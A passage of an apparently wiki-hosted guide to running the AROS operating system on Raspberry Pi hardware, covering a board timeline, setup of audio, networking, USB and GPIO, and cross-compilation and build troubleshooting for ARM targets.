2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} ienpacbdilgkxp0651ifwnl949s1iam 4670681 4670680 2026-09-17T14:53:04Z Jeff1138 301139 4670681 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4 Once you’ve configured the device, simply save the Wireless Networks tab Wi-Fi configuration even if it’s empty. This will create the Wireless.prefs file in the Prefs/Env-Archive/SYS drawer, and should see the Wireless Manager icon in Wanderer. Although a reboot maybe necessary. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero 2W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 